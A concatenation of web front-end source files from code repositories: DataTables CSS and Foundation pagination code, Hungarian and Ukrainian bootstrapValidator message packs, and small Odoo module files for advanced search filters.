table.dataTable thead > tr > th.sorting:after, table.dataTable thead > tr > th.sorting_asc:after, table.dataTable thead > tr > th.sorting_desc:after,
table.dataTable thead > tr > td.sorting:after,
table.dataTable thead > tr > td.sorting_asc:after,
table.dataTable thead > tr > td.sorting_desc:after {
position: absolute;
top: 7px;
right: 8px;
display: block;
font-family: 'FontAwesome';
}
table.dataTable thead > tr > th.sorting:after,
table.dataTable thead > tr > td.sorting:after {
content: "\f0dc";
color: #ddd;
font-size: 0.8em;
padding-top: 0.12em;
}
table.dataTable thead > tr > th.sorting_asc:after,
table.dataTable thead > tr > td.sorting_asc:after {
content: "\f0de";
}
table.dataTable thead > tr > th.sorting_desc:after,
table.dataTable thead > tr > td.sorting_desc:after {
content: "\f0dd";
}
div.dataTables_scrollHead table.dataTable {
margin-bottom: 0 !important;
}
div.dataTables_scrollBody table {
border-top: none;
margin-top: 0 !important;
margin-bottom: 0 !important;
}
div.dataTables_scrollBody table thead .sorting:after,
div.dataTables_scrollBody table thead .sorting_asc:after,
div.dataTables_scrollBody table thead .sorting_desc:after {
display: none;
}
div.dataTables_scrollBody table tbody tr:first-child th,
div.dataTables_scrollBody table tbody tr:first-child td {
border-top: none;
}
div.dataTables_scrollFoot table {
margin-top: 0 !important;
border-top: none;
}
@media screen and (max-width: 767px) {
div.dataTables_wrapper div.dataTables_length,
div.dataTables_wrapper div.dataTables_filter,
div.dataTables_wrapper div.dataTables_info,
div.dataTables_wrapper div.dataTables_paginate {
text-align: center;
}
}
table.dataTable.uk-table-condensed > thead > tr > th {
padding-right: 20px;
}
table.dataTable.uk-table-condensed .sorting:after,
table.dataTable.uk-table-condensed .sorting_asc:after,
table.dataTable.uk-table-condensed .sorting_desc:after {
top: 6px;
right: 6px;
}
| Humsen/web/web-pc/WebContent/plugins/DataTables/css/dataTables.uikit.css/0 | {
"file_path": "Humsen/web/web-pc/WebContent/plugins/DataTables/css/dataTables.uikit.css",
"repo_id": "Humsen",
"token_count": 1461
} | 49 |
/*! DataTables Foundation integration
* ©2011-2015 SpryMedia Ltd - datatables.net/license
*/
/**
* DataTables integration for Foundation. This requires Foundation 5 and
* DataTables 1.10 or newer.
*
* This file sets the defaults and adds options to DataTables to style its
* controls using Foundation. See http://datatables.net/manual/styling/foundation
* for further information.
*/
(function( factory ){
if ( typeof define === 'function' && define.amd ) {
// AMD
define( ['jquery', 'datatables.net'], function ( $ ) {
return factory( $, window, document );
} );
}
else if ( typeof exports === 'object' ) {
// CommonJS
module.exports = function (root, $) {
if ( ! root ) {
root = window;
}
if ( ! $ || ! $.fn.dataTable ) {
$ = require('datatables.net')(root, $).$;
}
return factory( $, root, root.document );
};
}
else {
// Browser
factory( jQuery, window, document );
}
}(function( $, window, document, undefined ) {
'use strict';
var DataTable = $.fn.dataTable;
// Detect Foundation 5 / 6 as they have different element and class requirements
var meta = $('<meta class="foundation-mq"/>').appendTo('head');
DataTable.ext.foundationVersion = meta.css('font-family').match(/small|medium|large/) ? 6 : 5;
meta.remove();
$.extend( DataTable.ext.classes, {
sWrapper: "dataTables_wrapper dt-foundation",
sProcessing: "dataTables_processing panel callout"
} );
/* Set the defaults for DataTables initialisation */
$.extend( true, DataTable.defaults, {
dom:
"<'row'<'small-6 columns'l><'small-6 columns'f>r>"+
"t"+
"<'row'<'small-6 columns'i><'small-6 columns'p>>",
renderer: 'foundation'
} );
/* Page button renderer */
DataTable.ext.renderer.pageButton.foundation = function ( settings, host, idx, buttons, page, pages ) {
var api = new DataTable.Api( settings );
var classes = settings.oClasses;
var lang = settings.oLanguage.oPaginate;
var aria = settings.oLanguage.oAria.paginate || {};
var btnDisplay, btnClass;
var tag;
var v5 = DataTable.ext.foundationVersion === 5;
var attach = function( container, buttons ) {
var i, ien, node, button;
var clickHandler = function ( e ) {
e.preventDefault();
if ( !$(e.currentTarget).hasClass('unavailable') && api.page() != e.data.action ) {
api.page( e.data.action ).draw( 'page' );
}
};
for ( i=0, ien=buttons.length ; i<ien ; i++ ) {
button = buttons[i];
if ( $.isArray( button ) ) {
attach( container, button );
}
else {
btnDisplay = '';
btnClass = '';
tag = null;
switch ( button ) {
case 'ellipsis':
btnDisplay = '…';
btnClass = 'unavailable disabled';
tag = null;
break;
case 'first':
btnDisplay = lang.sFirst;
btnClass = button + (page > 0 ?
'' : ' unavailable disabled');
tag = page > 0 ? 'a' : null;
break;
case 'previous':
btnDisplay = lang.sPrevious;
btnClass = button + (page > 0 ?
'' : ' unavailable disabled');
tag = page > 0 ? 'a' : null;
break;
case 'next':
btnDisplay = lang.sNext;
btnClass = button + (page < pages-1 ?
'' : ' unavailable disabled');
tag = page < pages-1 ? 'a' : null;
break;
case 'last':
btnDisplay = lang.sLast;
btnClass = button + (page < pages-1 ?
'' : ' unavailable disabled');
tag = page < pages-1 ? 'a' : null;
break;
default:
btnDisplay = button + 1;
btnClass = page === button ?
'current' : '';
tag = page === button ?
null : 'a';
break;
}
if ( v5 ) {
tag = 'a';
}
if ( btnDisplay ) {
node = $('<li>', {
'class': classes.sPageButton+' '+btnClass,
'aria-controls': settings.sTableId,
'aria-label': aria[ button ],
'tabindex': settings.iTabIndex,
'id': idx === 0 && typeof button === 'string' ?
settings.sTableId +'_'+ button :
null
} )
.append( tag ?
$('<'+tag+'/>', {'href': '#'} ).html( btnDisplay ) :
btnDisplay
)
.appendTo( container );
settings.oApi._fnBindAction(
node, {action: button}, clickHandler
);
}
}
}
};
attach(
$(host).empty().html('<ul class="pagination"/>').children('ul'),
buttons
);
};
return DataTable;
}));
| Humsen/web/web-pc/WebContent/plugins/DataTables/js/dataTables.foundation.js/0 | {
"file_path": "Humsen/web/web-pc/WebContent/plugins/DataTables/js/dataTables.foundation.js",
"repo_id": "Humsen",
"token_count": 1819
} | 50 |
(function($) {
/**
* Hungarian language package
* Translated by @blackfyre
*/
$.fn.bootstrapValidator.i18n = $.extend(true, $.fn.bootstrapValidator.i18n, {
base64: {
'default': 'Kérlek, hogy érvényes base 64 karakter láncot adj meg'
},
between: {
'default': 'Kérlek, hogy %s és %s között adj meg értéket',
notInclusive: 'Kérlek, hogy %s és %s között adj meg értéket'
},
callback: {
'default': 'Kérlek, hogy érvényes értéket adj meg'
},
choice: {
'default': 'Kérlek, hogy érvényes értéket adj meg',
less: 'Kérlek, hogy legalább %s lehetőséget válassz ki',
more: 'Kérlek, hogy maximum %s lehetőséget válassz ki',
between: 'Kérlek, hogy válassz %s - %s lehetőséget'
},
color: {
'default': 'Kérlek, hogy érvényes színt ajd meg'
},
creditCard: {
'default': 'Kérlek, hogy érvényes bankkártya számot adj meg'
},
cusip: {
'default': 'Kérlek, hogy érvényes CUSIP számot ajd meg'
},
cvv: {
'default': 'Kérlek, hogy érvényes CVV számot ajd meg'
},
date: {
'default': 'Kérlek, hogy érvényes dátumot ajd meg',
min: 'Kérlek, hogy %s -nál későbbi dátumot adj meg',
max: 'Kérlek, hogy %s -nál korábbi dátumot adj meg',
range: 'Kérlek, hogy %s - %s között adj meg dátumot'
},
different: {
'default': 'Kérlek, hogy egy másik értéket adj meg'
},
digits: {
'default': 'Kérlek, hogy csak számot adj meg'
},
ean: {
'default': 'Kérlek, hogy érvényes EAN számot ajd meg'
},
emailAddress: {
'default': 'Kérlek, hogy érvényes email címet ajd meg'
},
file: {
'default': 'Kérlek, hogy érvényes fájlt válassz'
},
greaterThan: {
'default': 'Kérlek, hogy ezzel (%s) egyenlő vagy nagyobb számot adj meg',
notInclusive: 'Kérlek, hogy ennél (%s) nagyobb számot adj meg'
},
grid: {
'default': 'Kérlek, hogy érvényes GRId számot ajd meg'
},
hex: {
'default': 'Kérlek, hogy érvényes hexadecimális számot ajd meg'
},
hexColor: {
'default': 'Kérlek, hogy érvényes hexadecimális színt ajd meg'
},
iban: {
'default': 'Kérlek, hogy érvényes IBAN számot ajd meg',
countryNotSupported: 'A(z) %s országkód nem támogatott',
country: 'Kérlek, hogy %s érvényes IBAN számot adj meg',
countries: {
AD: 'az Andorrai Fejedelemségben', /* Special case */
AE: 'az Egyesült Arab Emírségekben', /* Special case */
AL: 'Albániában',
AO: 'Angolában',
AT: 'Ausztriában',
AZ: 'Azerbajdzsánban',
BA: 'Bosznia-Hercegovinában', /* Special case */
BE: 'Belgiumban',
BF: 'Burkina Fasoban',
BG: 'Bulgáriában',
BH: 'Bahreinben',
BI: 'Burundiban',
BJ: 'Beninben',
BR: 'Brazíliában',
CH: 'Svájcban',
CI: 'az Elefántcsontparton', /* Special case */
CM: 'Kamerunban',
CR: 'Costa Ricán', /* Special case */
CV: 'Zöld-foki Köztársaságban',
CY: 'Cypruson',
CZ: 'Csehországban',
DE: 'Németországban',
DK: 'Dániában',
DO: 'Dominikán', /* Special case */
DZ: 'Algériában',
EE: 'Észtországban',
ES: 'Spanyolországban',
FI: 'Finnországban',
FO: 'a Feröer-szigeteken', /* Special case */
FR: 'Franciaországban',
GB: 'az Egyesült Királyságban', /* Special case */
GE: 'Grúziában',
GI: 'Gibraltáron', /* Special case */
GL: 'Grönlandon', /* Special case */
GR: 'Görögországban',
GT: 'Guatemalában',
HR: 'Horvátországban',
HU: 'Magyarországon',
IE: 'Írországban', /* Special case */
IL: 'Izraelben',
IR: 'Iránban', /* Special case */
IS: 'Izlandon',
IT: 'Olaszországban',
JO: 'Jordániában',
KW: 'Kuvaitban', /* Special case */
KZ: 'Kazahsztánban',
LB: 'Libanonban',
LI: 'Liechtensteinben',
LT: 'Litvániában',
LU: 'Luxemburgban',
LV: 'Lettországban',
MC: 'Monacóban', /* Special case */
MD: 'Moldovában', /* Special case */
ME: 'Montenegróban',
MG: 'Madagaszkáron',
MK: 'Macedóniában',
ML: 'Malin',
MR: 'Mauritániában',
MT: 'Máltán',
MU: 'Mauritiuson',
MZ: 'Mozambikban',
NL: 'Hollandiában',
NO: 'Norvégiában',
PK: 'Pakisztánban',
PL: 'Lengyelországban',
PS: 'Palesztinában',
PT: 'Portugáliában',
QA: 'Katarban', /* Special case */
RO: 'Romániában',
RS: 'Szerbiában',
SA: 'Szaúd-Arábiában',
SE: 'Svédországban',
SI: 'Szlovéniában',
SK: 'Szlovákiában',
SM: 'San Marinoban',
SN: 'Szenegálban',/* Special case */
TN: 'Tunéziában',/* Special case */
TR: 'Törökországban',
VG: 'Britt Virgin szigeteken' /* Special case */
}
},
id: {
'default': 'Kérlek, hogy érvényes személy azonosító számot adj meg',
countryNotSupported: 'A(z) %s országkód nem támogatott',
country: 'Kérlek, hogy %s érvényes személy azonosító számot ajd meg',
countries: {
BA: 'Bosznia-Hercegovinában',
BG: 'Bulgáriában',
BR: 'Brazíliában',
CH: 'Svájcban',
CL: 'Chilében',
CN: 'Kínában',
CZ: 'Csehországban',
DK: 'Dániában',
EE: 'Észtországban',
ES: 'Spanyolországban',
FI: 'Finnországban',
HR: 'Horvátországban',
IE: 'Írországban',
IS: 'Izlandon',
LT: 'Litvániában',
LV: 'Lettországban',
ME: 'Montenegróban',
MK: 'Macedóniában',
NL: 'Hollandiában',
RO: 'Romániában',
RS: 'Szerbiában',
SE: 'Svédországban',
SI: 'Szlovéniában',
SK: 'Szlovákiában',
SM: 'San Marinoban',
TH: 'Thaiföldön',
ZA: 'Dél-Afrikában'
}
},
identical: {
'default': 'Kérlek, hogy ugyan azt az értéket add meg'
},
imei: {
'default': 'Kérlek, hogy érvényes IMEI számot adj meg'
},
imo: {
'default': 'Kérlek, hogy érvényes IMO számot adj meg'
},
integer: {
'default': 'Kérlek, hogy számot adj meg'
},
ip: {
'default': 'Kérlek, hogy IP címet adj meg',
ipv4: 'Kérlek, hogy érvényes IPv4 címet ajd meg',
ipv6: 'Kérlek, hogy érvényes IPv6 címet ajd meg'
},
isbn: {
'default': 'Kérlek, hogy érvényes ISBN számot ajd meg'
},
isin: {
'default': 'Kérlek, hogy érvényes ISIN számot ajd meg'
},
ismn: {
'default': 'Kérlek, hogy érvényes ISMN számot ajd meg'
},
issn: {
'default': 'Kérlek, hogy érvényes ISSN számot ajd meg'
},
lessThan: {
'default': 'Kérlek, hogy adj meg egy számot ami kisebb vagy egyenlő mint %s',
notInclusive: 'Kérlek, hogy adj meg egy számot ami kisebb mint %s'
},
mac: {
'default': 'Kérlek, hogy érvényes MAC címet ajd meg'
},
meid: {
'default': 'Kérlek, hogy érvényes MEID számot ajd meg'
},
notEmpty: {
'default': 'Kérlek, hogy adj értéket a mezőnek'
},
numeric: {
'default': 'Please enter a valid float number'
},
phone: {
'default': 'Kérlek, hogy érvényes telefonszámot adj meg',
countryNotSupported: 'A(z) %s országkód nem támogatott',
country: 'Kérlek, hogy %s érvényes telefonszámot adj meg',
countries: {
BR: 'Brazíliában',
CN: 'Kínában',
CZ: 'Csehországban',
DE: 'Németországban',
DK: 'Dániában',
ES: 'Spanyolországban',
FR: 'Franciaországban',
GB: 'az Egyesült Királyságban',
MA: 'Marokkóban',
PK: 'Pakisztánban',
RO: 'Romániában',
RU: 'Oroszországban',
SK: 'Szlovákiában',
TH: 'Thaiföldön',
US: 'az Egyesült Államokban',
VE: 'Venezuelában' /* Sepcial case */
}
},
regexp: {
'default': 'Kérlek, hogy a mintának megfelelő értéket adj meg'
},
remote: {
'default': 'Kérlek, hogy érvényes értéket adj meg'
},
rtn: {
'default': 'Kérlek, hogy érvényes RTN számot adj meg'
},
sedol: {
'default': 'Kérlek, hogy érvényes SEDOL számot adj meg'
},
siren: {
'default': 'Kérlek, hogy érvényes SIREN számot adj meg'
},
siret: {
'default': 'Kérlek, hogy érvényes SIRET számot adj meg'
},
step: {
'default': 'Kérlek, hogy érvényes lépteket adj meg (%s)'
},
stringCase: {
'default': 'Kérlek, hogy csak kisbetüket ajd meg',
upper: 'Kérlek, hogy csak nagy betüket adj meg'
},
stringLength: {
'default': 'Kérlek, hogy érvényes karakter hosszúsággal adj meg értéket',
less: 'Kérlek, hogy kevesebb mint %s karaktert adj meg',
more: 'Kérlek, hogy több mint %s karaktert adj meg',
between: 'Kérlek, hogy legalább %s, de maximum %s karaktert adj meg'
},
uri: {
'default': 'Kérlek, hogy helyes URI -t adj meg'
},
uuid: {
'default': 'Kérlek, hogy érvényes UUID számot adj meg',
version: 'Kérlek, hogy érvényes UUID verzió %s számot adj meg'
},
vat: {
'default': 'Kérlek, hogy helyes adó számot adj meg',
countryNotSupported: '%s - nem támogatott ország',
country: 'Kérlek, hogy %s helyes adószámot ajd meg',
countries: {
AT: 'Ausztriában',
BE: 'Belgiumban',
BG: 'Bulgáriában',
BR: 'Brazíliában',
CH: 'Svájcban',
CY: 'Cipruson',
CZ: 'Csehországban',
DE: 'Németországban',
DK: 'Dániában',
EE: 'Észtországban',
ES: 'Spanyolországban',
FI: 'Finnországban',
FR: 'Franciaországban',
GB: 'az Egyesült Királyságban',
GR: 'Görögországban',
EL: 'Görögországban',
HU: 'Magyarországon',
HR: 'Horvátországban',
IE: 'Írországban',
IS: 'Izlandon',
IT: 'Olaszországban',
LT: 'Litvániában',
LU: 'Luxemburgban',
LV: 'Lettországban',
MT: 'Máltán',
NL: 'Hollandiában',
NO: 'Norvégiában',
PL: 'Lengyelországban',
PT: 'Portugáliában',
RO: 'Romániában',
RU: 'Oroszországban',
RS: 'Szerbiában',
SE: 'Svédországban',
SI: 'Szlovéniában',
SK: 'Szlovákiában',
VE: 'Venezuelában',
ZA: 'Dél-Afrikában'
}
},
vin: {
'default': 'Kérlek, hogy érvényes VIN számot adj meg'
},
zipCode: {
'default': 'Kérlek, hogy érvényes irányítószámot adj meg',
countryNotSupported: '%s - nem támogatott ország',
country: 'Kérlek, hogy %s érvényes irányítószámot adj meg',
countries: {
AT: 'Ausztriában',
BR: 'Brazíliában',
CA: 'Kanadában',
CH: 'Svájcban',
CZ: 'Csehországban',
DE: 'Németországban',
DK: 'Dániában',
FR: 'Franciaországban',
GB: 'az Egyesült Királyságban',
IE: 'Írországban',
IT: 'Olaszországban',
MA: 'Marokkóban',
NL: 'Hollandiában',
PT: 'Portugáliában',
RO: 'Romániában',
RU: 'Oroszországban',
SE: 'Svájcban',
SG: 'Szingapúrban',
SK: 'Szlovákiában',
US: 'Egyesült Államok beli'
}
}
});
}(window.jQuery));
| Humsen/web/web-pc/WebContent/plugins/validator/js/language/hu_HU.js/0 | {
"file_path": "Humsen/web/web-pc/WebContent/plugins/validator/js/language/hu_HU.js",
"repo_id": "Humsen",
"token_count": 9003
} | 51 |
(function($) {
/**
* Ukrainian language package
* Translated by @oleg-voloshyn
*/
$.fn.bootstrapValidator.i18n = $.extend(true, $.fn.bootstrapValidator.i18n, {
base64: {
'default': 'Будь ласка, введіть коректний рядок base64'
},
between: {
'default': 'Будь ласка, введіть значення від %s до %s',
notInclusive: 'Будь ласка, введіть значення між %s і %s'
},
callback: {
'default': 'Будь ласка, введіть коректне значення'
},
choice: {
'default': 'Будь ласка, введіть коректне значення',
less: 'Будь ласка, виберіть хоча б %s опцій',
more: 'Будь ласка, виберіть не більше %s опцій',
between: 'Будь ласка, виберіть %s - %s опцій'
},
color: {
'default': 'Будь ласка, введіть правильний номер кольору'
},
creditCard: {
'default': 'Будь ласка, введіть правильний номер кредитної картки'
},
cusip: {
'default': 'Будь ласка, введіть правильний номер CUSIP'
},
cvv: {
'default': 'Будь ласка, введіть правильний номер CVV'
},
date: {
'default': 'Будь ласка, введіть правильну дату',
min: 'Будь ласка, введіть дату після %s',
max: 'Будь ласка, введіть дату перед %s',
range: 'Будь ласка, введіть дату у діапазоні %s - %s'
},
different: {
'default': 'Будь ласка, введіть інше значення'
},
digits: {
'default': 'Будь ласка, введіть тільки цифри'
},
ean: {
'default': 'Будь ласка, введіть правильний номер EAN'
},
emailAddress: {
'default': 'Будь ласка, введіть правильну адресу e-mail'
},
file: {
'default': 'Будь ласка, виберіть файл'
},
greaterThan: {
'default': 'Будь ласка, введіть значення більше або рівне %s',
notInclusive: 'Будь ласка, введіть значення більше %s'
},
grid: {
'default': 'Будь ласка, введіть правильний номер GRId'
},
hex: {
'default': 'Будь ласка, введіть правильний шістнадцятковий(16) номер'
},
hexColor: {
'default': 'Будь ласка, введіть правильний шістнадцятковий(16) номер кольору'
},
iban: {
'default': 'Будь ласка, введіть правильний номер IBAN',
countryNotSupported: 'Код країни %s не підтримується',
country: 'Будь ласка, введіть правильний номер IBAN в %s',
countries: {
AD: 'Андоррі',
AE: "Об'єднаних Арабських Еміратах",
AL: 'Албанії',
AO: 'Анголі',
AT: 'Австрії',
AZ: 'Азербайджані',
BA: 'Боснії і Герцеговині',
BE: 'Бельгії',
BF: 'Буркіна-Фасо',
BG: 'Болгарії',
BH: 'Бахрейні',
BI: 'Бурунді',
BJ: 'Беніні',
BR: 'Бразилії',
CH: 'Швейцарії',
CI: "Кот-д'Івуарі",
CM: 'Камеруні',
CR: 'Коста-Ріці',
CV: 'Кабо-Верде',
CY: 'Кіпрі',
CZ: 'Чехії',
DE: 'Германії',
DK: 'Данії',
DO: 'Домінікані',
DZ: 'Алжирі',
EE: 'Естонії',
ES: 'Іспанії',
FI: 'Фінляндії',
FO: 'Фарерських островах',
FR: 'Франції',
GB: 'Великобританії',
GE: 'Грузії',
GI: 'Гібралтарі',
GL: 'Гренландії',
GR: 'Греції',
GT: 'Гватемалі',
HR: 'Хорватії',
HU: 'Венгрії',
IE: 'Ірландії',
IL: 'Ізраїлі',
IR: 'Ірані',
IS: 'Ісландії',
IT: 'Італії',
JO: 'Йорданії',
KW: 'Кувейті',
KZ: 'Казахстані',
LB: 'Лівані',
LI: 'Ліхтенштейні',
LT: 'Литві',
LU: 'Люксембурзі',
LV: 'Латвії',
MC: 'Монако',
MD: 'Молдові',
ME: 'Чорногорії',
MG: 'Мадагаскарі',
MK: 'Македонії',
ML: 'Малі',
MR: 'Мавританії',
MT: 'Мальті',
MU: 'Маврикії',
MZ: 'Мозамбіку',
NL: 'Нідерландах',
NO: 'Норвегії',
PK: 'Пакистані',
PL: 'Польщі',
PS: 'Палестині',
PT: 'Португалії',
QA: 'Катарі',
RO: 'Румунії',
RS: 'Сербії',
SA: 'Саудівської Аравії',
SE: 'Швеції',
SI: 'Словенії',
SK: 'Словаччині',
SM: 'Сан-Марино',
SN: 'Сенегалі',
TN: 'Тунісі',
TR: 'Туреччині',
VG: 'Британських Віргінських островах'
}
},
id: {
'default': 'Будь ласка, введіть правильний ідентифікаційний номер',
countryNotSupported: 'Код країни %s не підтримується',
country: 'Будь ласка, введіть правильний ідентифікаційний номер в %s',
countries: {
BA: 'Боснії і Герцеговині',
BG: 'Болгарії',
BR: 'Бразилії',
CH: 'Швейцарії',
CL: 'Чилі',
CN: 'Китаї',
CZ: 'Чехії',
DK: 'Данії',
EE: 'Естонії',
ES: 'Іспанії',
FI: 'Фінляндії',
HR: 'Хорватії',
IE: 'Ірландії',
IS: 'Ісландії',
LT: 'Литві',
LV: 'Латвії',
ME: 'Чорногорії',
MK: 'Македонії',
NL: 'Нідерландах',
RO: 'Румунії',
RS: 'Сербії',
SE: 'Швеції',
SI: 'Словенії',
SK: 'Словаччині',
SM: 'Сан-Марино',
TH: 'Таїланді',
ZA: 'ПАР'
}
},
identical: {
'default': 'Будь ласка, введіть таке ж значення'
},
imei: {
'default': 'Будь ласка, введіть правильний номер IMEI'
},
imo: {
'default': 'Будь ласка, введіть правильний номер IMO'
},
integer: {
'default': 'Будь ласка, введіть правильне ціле значення'
},
ip: {
'default': 'Будь ласка, введіть правильну IP-адресу',
ipv4: 'Будь ласка введіть правильну IPv4-адресу',
ipv6: 'Будь ласка введіть правильну IPv6-адресу'
},
isbn: {
'default': 'Будь ласка, введіть правильний номер ISBN'
},
isin: {
'default': 'Будь ласка, введіть правильний номер ISIN'
},
ismn: {
'default': 'Будь ласка, введіть правильний номер ISMN'
},
issn: {
'default': 'Будь ласка, введіть правильний номер ISSN'
},
lessThan: {
'default': 'Будь ласка, введіть значення менше або рівне %s',
notInclusive: 'Будь ласка, введіть значення менше ніж %s'
},
mac: {
'default': 'Будь ласка, введіть правильну MAC-адресу'
},
meid: {
'default': 'Будь ласка, введіть правильний номер MEID'
},
notEmpty: {
'default': 'Будь ласка, введіть значення'
},
numeric: {
'default': 'Будь ласка, введіть коректне дійсне число'
},
phone: {
'default': 'Будь ласка, введіть правильний номер телефону',
countryNotSupported: 'Код країни %s не підтримується',
country: 'Будь ласка, введіть правильний номер телефону в %s',
countries: {
BR: 'Бразилії',
CN: 'Китаї',
CZ: 'Чехії',
DE: 'Германії',
DK: 'Данії',
ES: 'Іспанії',
FR: 'Франції',
GB: 'Великобританії',
MA: 'Марокко',
PK: 'Пакистані',
RO: 'Румунії',
RU: 'Росії',
SK: 'Словаччині',
TH: 'Таїланді',
US: 'США',
VE: 'Венесуелі'
}
},
regexp: {
'default': 'Будь ласка, введіть значення відповідне до шаблону'
},
remote: {
'default': 'Будь ласка, введіть правильне значення'
},
rtn: {
'default': 'Будь ласка, введіть правильний номер RTN'
},
sedol: {
'default': 'Будь ласка, введіть правильний номер SEDOL'
},
siren: {
'default': 'Будь ласка, введіть правильний номер SIREN'
},
siret: {
'default': 'Будь ласка, введіть правильний номер SIRET'
},
step: {
'default': 'Будь ласка, введіть правильний крок %s'
},
stringCase: {
'default': 'Будь ласка, вводите тільки малі літери',
upper: 'Будь ласка, вводите тільки заголовні букви'
},
stringLength: {
'default': 'Будь ласка, введіть значення коректної довжини',
less: 'Будь ласка, введіть не більше %s символів',
more: 'Будь ласка, введіть, не менше %s символів',
between: 'Будь ласка, введіть рядок довжиною від %s до %s символів'
},
uri: {
'default': 'Будь ласка, введіть правильний URI'
},
uuid: {
'default': 'Будь ласка, введіть правильний номер UUID',
version: 'Будь ласка, введіть правильний номер UUID версії %s'
},
vat: {
'default': 'Будь ласка, введіть правильний номер VAT',
countryNotSupported: 'Код країни %s не підтримується',
country: 'Будь ласка, введіть правильний номер VAT в %s',
countries: {
AT: 'Австрії',
BE: 'Бельгії',
BG: 'Болгарії',
BR: 'Бразилії',
CH: 'Швейцарії',
CY: 'Кіпрі',
CZ: 'Чехії',
DE: 'Германії',
DK: 'Данії',
EE: 'Естонії',
ES: 'Іспанії',
FI: 'Фінляндії',
FR: 'Франції',
GB: 'Великобританії',
GR: 'Греції',
EL: 'Греції',
HU: 'Венгрії',
HR: 'Хорватії',
IE: 'Ірландії',
IS: 'Ісландії',
IT: 'Італії',
LT: 'Литві',
LU: 'Люксембургі',
LV: 'Латвії',
MT: 'Мальті',
NL: 'Нідерландах',
NO: 'Норвегії',
PL: 'Польщі',
PT: 'Португалії',
RO: 'Румунії',
RU: 'Росії',
RS: 'Сербії',
SE: 'Швеції',
SI: 'Словенії',
SK: 'Словаччині',
VE: 'Венесуелі',
ZA: 'ПАР'
}
},
vin: {
'default': 'Будь ласка, введіть правильний номер VIN'
},
zipCode: {
'default': 'Будь ласка, введіть правильний поштовий індекс',
countryNotSupported: 'Код країни %s не підтримується',
country: 'Будь ласка, введіть правильний поштовий індекс в %s',
countries: {
AT: 'Австрії',
BR: 'Бразилії',
CA: 'Канаді',
CH: 'Швейцарії',
CZ: 'Чехії',
DE: 'Германії',
DK: 'Данії',
FR: 'Франції',
GB: 'Великобританії',
IE: 'Ірландії',
IT: 'Італії',
MA: 'Марокко',
NL: 'Нідерландах',
PT: 'Португалії',
RO: 'Румунії',
RU: 'Росії',
SE: 'Швеції',
SG: 'Сингапурі',
SK: 'Словаччині',
US: 'США'
}
}
});
}(window.jQuery));
| Humsen/web/web-pc/WebContent/plugins/validator/js/language/ua_UA.js/0 | {
"file_path": "Humsen/web/web-pc/WebContent/plugins/validator/js/language/ua_UA.js",
"repo_id": "Humsen",
"token_count": 11451
} | 52 |
Odoo by default support:
::
<tree delete="false" create="false">
with this module you can:
::
<tree delete="state=='draft'" create="state!='sent'">
It works in any tree view, so you can use it in One2many.
| OCA/web/web_action_conditionable/readme/USAGE.rst/0 | {
"file_path": "OCA/web/web_action_conditionable/readme/USAGE.rst",
"repo_id": "OCA",
"token_count": 74
} | 53 |
# Translation of Odoo Server.
# This file contains the translation of the following modules:
# * web_advanced_search
#
msgid ""
msgstr ""
"Project-Id-Version: Odoo Server 12.0\n"
"Report-Msgid-Bugs-To: \n"
"PO-Revision-Date: 2019-08-12 11:44+0000\n"
"Last-Translator: Pedro Castro Silva <pedrocs@exo.pt>\n"
"Language-Team: none\n"
"Language: pt\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: \n"
"Plural-Forms: nplurals=2; plural=n > 1;\n"
"X-Generator: Weblate 3.7.1\n"
#. module: web_advanced_search
#. odoo-javascript
#: code:addons/web_advanced_search/static/src/js/utils.esm.js:0
#, python-format
msgid " and "
msgstr ""
#. module: web_advanced_search
#. odoo-javascript
#: code:addons/web_advanced_search/static/src/js/utils.esm.js:0
#, python-format
msgid " is not "
msgstr ""
#. module: web_advanced_search
#. odoo-javascript
#: code:addons/web_advanced_search/static/src/js/utils.esm.js:0
#, python-format
msgid " or "
msgstr ""
#. module: web_advanced_search
#. odoo-javascript
#: code:addons/web_advanced_search/static/src/search/filter_menu/advanced_filter_item.xml:0
#, python-format
msgid "Add Advanced Filter"
msgstr "Adicionar Filtro Avançado"
| OCA/web/web_advanced_search/i18n/pt.po/0 | {
"file_path": "OCA/web/web_advanced_search/i18n/pt.po",
"repo_id": "OCA",
"token_count": 491
} | 54 |
/** @odoo-module **/
import CustomFilterItem from "web.CustomFilterItem";
import {RecordPicker} from "../../../js/RecordPicker.esm";
import {patch} from "@web/core/utils/patch";
/**
* Patches the CustomFilterItem for legacy widgets.
*
* Tree views still use this old legacy widget, so we need to patch it.
* This is likely to disappear in 17.0
*/
patch(CustomFilterItem.prototype, "web_advanced_search.legacy.CustomFilterItem", {
/**
* Ideally we'd want this in setup, but CustomFilterItem does its initialization
* in the constructor, which can't be patched.
*
* Doing it here works just as well.
*
* @override
*/
async willStart() {
this.OPERATORS.relational = this.OPERATORS.char;
this.FIELD_TYPES.many2one = "relational";
this.FIELD_TYPES.many2many = "relational";
this.FIELD_TYPES.one2many = "relational";
return this._super(...arguments);
},
/**
* @override
*/
_setDefaultValue(condition) {
const res = this._super(...arguments);
const fieldType = this.fields[condition.field].type;
const genericType = this.FIELD_TYPES[fieldType];
if (genericType === "relational") {
condition.value = 0;
condition.displayedValue = "";
}
return res;
},
/**
* Add displayed value to preFilters for "relational" types.
*
* @override
*/
onApply() {
// To avoid the complete override, we patch this.conditions.map()
const originalMapFn = this.conditions.map;
const self = this;
this.conditions.map = function () {
const preFilters = originalMapFn.apply(this, arguments);
for (const condition of this) {
const field = self.fields[condition.field];
const type = self.FIELD_TYPES[field.type];
if (type === "relational") {
const idx = this.indexOf(condition);
const preFilter = preFilters[idx];
const operator = self.OPERATORS[type][condition.operator];
const descriptionArray = [
field.string,
operator.description,
`"${condition.displayedValue}"`,
];
preFilter.description = descriptionArray.join(" ");
}
}
return preFilters;
};
const res = this._super(...arguments);
// Restore original map()
this.conditions.map = originalMapFn;
return res;
},
/**
* @private
* @param {Object} condition
* @param {OwlEvent} ev
*/
onRelationalChanged(condition, ev) {
if (ev.detail) {
condition.value = ev.detail.id;
condition.displayedValue = ev.detail.display_name;
}
},
});
patch(CustomFilterItem, "web_advanced_search.legacy.CustomFilterItem", {
components: {
...CustomFilterItem.components,
RecordPicker,
},
});
export default CustomFilterItem;
| OCA/web/web_advanced_search/static/src/legacy/js/control_panel/custom_filter_item.esm.js/0 | {
"file_path": "OCA/web/web_advanced_search/static/src/legacy/js/control_panel/custom_filter_item.esm.js",
"repo_id": "OCA",
"token_count": 1381
} | 55 |
from . import base
| OCA/web/web_apply_field_style/models/__init__.py/0 | {
"file_path": "OCA/web/web_apply_field_style/models/__init__.py",
"repo_id": "OCA",
"token_count": 5
